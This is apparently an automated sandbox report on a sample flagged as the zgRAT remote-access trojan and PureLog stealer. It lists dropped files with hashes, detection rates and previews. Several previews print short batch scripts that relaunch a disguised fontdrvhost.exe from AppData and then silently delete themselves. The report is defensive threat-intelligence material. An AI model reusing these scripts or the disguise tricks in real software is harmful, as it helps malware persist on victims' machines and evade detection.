Entropy (8bit):	4.003856189774725
Encrypted:	false
SSDEEP:	3:180wsZO:AKO
MD5:	62DE5A7B9C3CCC3D3D1E94153C1ECD91
SHA1:	34FB0661D3597A26349C0B34426ED7657E59EC23
SHA-256:	3251F06A61AF362C129B6D9DA8976D3D2F8A33ED3A514DE0CECA281739160B96
SHA-512:	92C785B2CAC16489C56AD42A2EBA1611C55ACB576D0F24082790959F408BF17F8339EAB29FFB2B27B23A0A705C696DC4C45B07703CE6A8CCA05CCA46F979DB99
Malicious:	false
Preview:	2RPcj4pcpUXV9ljDlYKUIcA6c

C:\Users\user\AppData\Local\Temp\J8UmnJMZzF

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:uAiHSRHGSN:uAkmGSN
MD5:	B5B5F55AA56BDA65BE3D0E8DD3330CC4
SHA1:	AF80A8406BD3EEA9D94E709AB8CF37B8DAD3E07C
SHA-256:	8F09969D7402D3B71CE25D4D6477780F69BFB4F7AD474137E5B1A83F38395C05
SHA-512:	B67571C7FE84691E3880CADA3472CE82C8D0CCC0E3A13FD8466F9D3ABE7106828DAE0A27E371807075D53C53F149E0943DE35F15157B7BBE82C2B0907E8950B3
Malicious:	false
Preview:	IjbQLPGb7tGB9hg7ML30iGA3l

C:\Users\user\AppData\Local\Temp\JA6yKsxCrA

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:CSCeBQNpn:CSWH
MD5:	1754647E9FDB454D1414575915AACDF3
SHA1:	9839CF89341F575D735171BD77D33C420F6CB441
SHA-256:	396F25500569C5BE7578E2B721E004B1E67CFFF9DFF5276C6027BBE9DB3F9C58
SHA-512:	4980AE79BDD5F9887109616F349E099717C5F728FDB5CBC6E018B4AFCF79CBC4219DEC03A5B73278815EBC8D37A2C864B8B3866DC533BAC75BA6BE8925046098
Malicious:	false
Preview:	c0kSEhgfkFnOsQcBitiiSQ4dP

C:\Users\user\AppData\Local\Temp\KXBTTC0yId

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.9736606896881854
Encrypted:	false
SSDEEP:	3:aO5wrJ9:aZ99
MD5:	5F258CC8D7F515D8B986345E19366E7A
SHA1:	A7585DE712094A6A5E29A2F0E8B4FDDB8E8AFA0A
SHA-256:	012115DD1E401469A608D4541743F22F6A60060CB4ACEC6A20DA738EBF613FF5
SHA-512:	74DC6EE5FF367F918E99B8005A2A47E07059E4AF254E356520FAF1E86670B423D8BC45E6B4F3170D7981532ED21CAB701409FF076D19641168BC24249DC86B25
Malicious:	false
Preview:	sHxHq26d2dX4sNZ5JgREs45aX

C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.088546729988578
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+kiE2J5DQDWCSBktKcKZG1t+kiE2J5xAIx3S+cn:hCRLuVFOOr+DE1wkn238GKOZG1wkn23K
MD5:	1C73B623999E6677E063EE0352D1A0F3
SHA1:	031DCF8F982F903DEE7AB31BCBA948858A715CBD
SHA-256:	E04354E44BDD139CD12D85CE332324834DC6918F4BDF6184E06903A36A81B12E
SHA-512:	86F4C4971480B66B0172FD264D1225B9482377184B4B6FC1E7A58C9B7219E9DD698C4030E863EFBFE7BBB27CE31DD93DC71C9C6910BF0BFB9FAB0225A4791178
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\OwDUg2gYJx.bat"

C:\Users\user\AppData\Local\Temp\Q6MZwzjQ2O

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774723
Encrypted:	false
SSDEEP:	3:K6glLnO:K6gRO
MD5:	E96E76F8F4AFC6A853AF1CCAD8F65CFB
SHA1:	C924A6233E5AAB26BC7DB6E3CE679B2DE02EAFA0
SHA-256:	C8A4DD54005176253F1A4599C89EDEC652B90396CFF3C4552FD324204FF74482
SHA-512:	B78A128484605599F77B467991B6483B96A400F31F8A53E76A4E6CC9FCCDADDF89A75E396BFDA841A11AE21DBD1A08B0FA51BE8C89930DA3D1FF514C9816B194
Malicious:	false
Preview:	NT5jNy3CEntQz2juI2GTAWRZS

C:\Users\user\AppData\Local\Temp\SRst0rCoYd

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.243856189774724
Encrypted:	false
SSDEEP:	3:ZIUzij/d2c:+Mu/l
MD5:	A9820AFE0A394F7E478522267BDE8BF9
SHA1:	4F3CC230B64D27DEC1BD1687C3AE723180687D1B
SHA-256:	7560FA1A2D84FB8FD0B1CE346075DFF4EBC95C2D57CD401EA5E86494B120C286
SHA-512:	9DDA6A3FBB6D17353B6ECDB19117C847F5EADFFAA35C4EB20BC59D080379022673F928B3D736A52E4B33BC25ED680985E10EF3C627B4ABA745D9A7C34DC6097F
Malicious:	false
Preview:	4sIFLYVT1BVGyYv0sorrIE8S9

C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	220
Entropy (8bit):	5.098885634200602
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1wkn238GKOZG1wkn23fiH:HTg9uYDEmfHf6H
MD5:	85D5103EC14539FA1803D5459456F23F
SHA1:	5EF815F153B412F9601D2781745B560123354A0D
SHA-256:	B0740108443F438024FD4E9533B8D5AE986E62CBD274C31CCB3E9DF4184D20ED
SHA-512:	4339027C6D7B97BE2A044584427F91696C69F476F16359A919312B6F7393318DE5A77C086C7D1174884677D97945C66AA812FB3A7D9928F9DA6C3F756B75DF69
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\ZMh4UPVO0I.bat"

C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.056310050289938
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+kiE2J5DQDWCSBktKcKZG1t+kiE2J5xAIrOn:hCRLuVFOOr+DE1wkn238GKOZG1wkn23y
MD5:	73D982FE0770009A1C0A83A1C66118A3
SHA1:	9E74F046B127C4855916C8CEBCF32619645B65A7
SHA-256:	E3BF49ABDA03EE68024741CDB154CFA18206D27FEE0CC82E5BE192034A3B94F0
SHA-512:	85D34EF0E86C2A8BAC435201AE66C20A3B388C8925B865748A21730ED992E0A766C5E3817DC90980D0AC261C89A4461DA5242CF1B55620F66E7E17E7EDCC4824
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\e2HUAivGfO.bat"

C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	220
Entropy (8bit):	5.041631355421024
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1wkn238GKOZG1wkn23fth:HTg9uYDEmfHflh
MD5:	BD80F9AFD1C2BADCE5C6F813B89D778C
SHA1:	FB223B898390742CDFBE09CF1CDCEEB9DF8CC458
SHA-256:	96490DE29E333B75700430D85F321F6F171EB4B4776CE71D157DD732D6EB7E39
SHA-512:	2C83139FE9687A5D99490A33E7A4959652920171AD07A796BED1F3EEB6B7098FDC2D9F8EDFC40BAA5C292D81301B450CA5F30756FBBED07866FE26F63FB0862E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\s2nU7uS06N.bat"

C:\Users\user\AppData\Local\Temp\t4K12zjFmm

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688186
Encrypted:	false
SSDEEP:	3:45XnAbQ5n:45Xn1n
MD5:	D01CE31905D60CA4428EA3FCA29CB691
SHA1:	E8589EBE6D57FD0032196CC7F76B897AE10D92B1
SHA-256:	BEF7ACFA6E363B49D848BA46F4D0052CAC6200CE1D4C979A791331848020E4DE
SHA-512:	5E8178F5861F96BA7C5565F624D8EC0CD7C139925D2B2289466DB5C1F1A5B01576E8B46EB18781D6A0114713BFE6B6D89EFE8900D35DE6D13FE07578F7A74189
Malicious:	false
Preview:	QdLfEUb8rsbvsDeT595d251Tn

C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.036241715905151
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+kiE2J5DQDWCSBktKcKZG1t+kiE2J5xAIETahGK:hCRLuVFOOr+DE1wkn238GKOZG1wkn23f
MD5:	DB438837DB9485071B5B219A1B9A08BE
SHA1:	D5D48DE6D3AC1AB28C78AAEAC41E491F9238A7A6
SHA-256:	0336C04B0754D8206F9AB057C8178ED915A8B0BE9E6200E4F2CC6BBA18BF09BB
SHA-512:	47F02E82A1BF49C9EB99D80565BE7915CBE64FED5D0A4DDBDC70F589E4AAC65411175FCBD3A8350B33B3A505383A0E83A6F71BD39B3F79DF196DAECAFCB68D12
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Local\fontdrvhost.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\wuC6fcDv5B.bat"

C:\Users\user\AppData\Local\fontdrvhost.exe

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3672576
Entropy (8bit):	7.822210869380534
Encrypted:	false
SSDEEP:	98304:ce0NRfHctOXBignPFAfL7B71KHijptuNMsZ:c1lckBiKPJCVt4Z
MD5:	4164D5955C244FF266C1CC41013FE21A
SHA1:	CD4B6CAAB8B3762D3AF3B7AD738F51D2E92C2D34
SHA-256:	138905D6721C1E6B174B6F61154A938565C9BD5C6B5B0ABE8274054BF151DA9C
SHA-512:	FA321BE81DCB76D26ACA25E1AA82145204ACDBD94026556F1031B6D29176096ABF7DE47C36DABD8A4C1C578B3BEA04E31A639481FB3890C593E597720E14E444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\fontdrvhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\fontdrvhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87% Antivirus: Virustotal, Detection: 73%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.......... 8.. ...@8...@.. ........................8...........@.................................. 8.K....@8.p....................`8...................................................... ............... ..H............text.....8.. ....8................. ..`.rsrc...p....@8.......8.............@....reloc.......`8.......8.............@..B................. 8.....H...........L.......h......>?-.# 8......................................0..........(.... ........8........E....M...q...).......8H...(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8z......0.......... ........8........E....Q...........=...1...8L.......~....(M...~....(Q... ....?.... ....8....r...ps....z~....:.... ....8....~....(E... .... .... ....s....~....(I....... ....~....{....:V...& ....8K......... ....~....{r...:1..

C:\Users\user\AppData\Local\fontdrvhost.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\AFOsBjYP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 20%, Browse
Joe Sandbox View:	Filename: O5OjRoFGIW.exe, Detection: malicious, Browse Filename: iY40ylvr5y.exe, Detection: malicious, Browse Filename: 7GTGpZi6oi.exe, Detection: malicious, Browse Filename: GWCscceJsW.exe, Detection: malicious, Browse Filename: QHZoYVBjSD.exe, Detection: malicious, Browse Filename: qObijSd3Uj.exe, Detection: malicious, Browse Filename: 2EHDj2G1ow.exe, Detection: malicious, Browse Filename: UU5WXfH85a.exe, Detection: malicious, Browse Filename: k6AIKkidxG.exe, Detection: malicious, Browse Filename: vFfb4XhxQq.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\AaPSReOe.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 7%, Browse
Joe Sandbox View:	Filename: O5OjRoFGIW.exe, Detection: malicious, Browse Filename: iY40ylvr5y.exe, Detection: malicious, Browse Filename: qObijSd3Uj.exe, Detection: malicious, Browse Filename: 2EHDj2G1ow.exe, Detection: malicious, Browse Filename: k6AIKkidxG.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Um5hcJ3WPo.exe, Detection: malicious, Browse Filename: y48nZSvYdA.exe, Detection: malicious, Browse Filename: 919KMNiWfM.exe, Detection: malicious, Browse Filename: WyuZdl33w7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\BxnIYuRz.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CGTrJaEm.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\COTaDrJc.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 10% Antivirus: Virustotal, Detection: 21%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CQeYyQPa.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 6%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CTQIQVae.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CdkYHFFH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9% Antivirus: Virustotal, Detection: 6%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CgRzmzKC.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\CkrRJHNx.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 8%, Browse
